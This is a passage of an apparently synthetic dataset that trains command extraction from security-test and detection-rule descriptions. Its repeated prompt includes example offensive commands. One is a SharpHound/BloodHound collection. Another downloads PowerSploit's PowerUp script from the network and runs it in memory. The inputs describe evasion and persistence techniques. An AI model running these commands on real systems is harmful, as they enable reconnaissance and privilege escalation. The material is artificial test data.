-UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    A Kubernetes secret is an object that lets users store and manage sensitive information, such as passwords and connection strings in the cluster. Secrets can be consumed by reference in the pod configuration. Attackers who have permissions to retrieve the secrets from the API server (by using the pod service account, for example) can access sensitive information that might include credentials to various services or provide further access to the cluster.\n[More information about secrets](https://kubernetes.io/docs/concepts/configuration/secret/).\n\nThis test will make a request to the Kubernetes api at the `/api/v1/secrets` endpoint requesting every secret stored within the cluster.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Identifies an Event Hub deletion in Azure.\nAn Event Hub is an event processing service that ingests and processes large volumes of events and data.\nAn adversary may delete an Event Hub in an attempt to evade detection.\nhttps://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-about.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    suspend Shell History seen in Awfulshred wiper- https://unix.stackexchange.com/questions/10922/temporarily-suspend-bash-history-on-a-given-shell\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    In Windows operating systems, command line auditing is controlled through the following registry value:\n\n  Registry Path: HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Audit\n  \n  Registry Value: ProcessCreationIncludeCmdLine_Enabled\n\nWhen command line auditing is enabled, the system records detailed information about command execution, including the command executed, the user account responsible for executing the command, and the timestamp of the execution.\nThis information is crucial for security monitoring and forensic analysis, as it helps organizations detect and investigate unauthorized or malicious activities within their systems.\nBy default, command line auditing may not be enabled in Windows systems, and administrators must manually configure the appropriate registry settings to activate it.\nConversely, attackers may attempt to tamper with these registry keys to disable command line auditing, as part of their efforts to evade detection and cover their tracks while perpetrating malicious activities.\n\nBecause this attack runs a Powershell cmdlet, this attack can be detected by monitoring both:\n  Powershell Logging (Windows Powershell Event ID 400, 800, 4103, 4104)\n  Registry events (Windows Event ID 4657, Sysmon Event ID 13)\n\nRead more here:\nhttps://securitydatasets.com/notebooks/atomic/windows/defense_evasion/SDWIN-220703123711.html\nhttps://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-itemproperty?view=powershell-7.4#example-2-add-a-registry-entry-to-a-key\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following Atomic test will utilize Get-AdComputer to enumerate Computers within Active Directory.\nUpon successful execution a listing of Computers will output with their paths in AD.\nReference: https://github.com/MicrosoftDocs/windows-powershell-docs/blob/main/docset/winserver2022-ps/activedirectory/Get-ADComputer.md\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Executes the Get-Service cmdlet to gather objects representing all services on the local system.",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Prevents Powershell history\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe.\n\nUpon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": 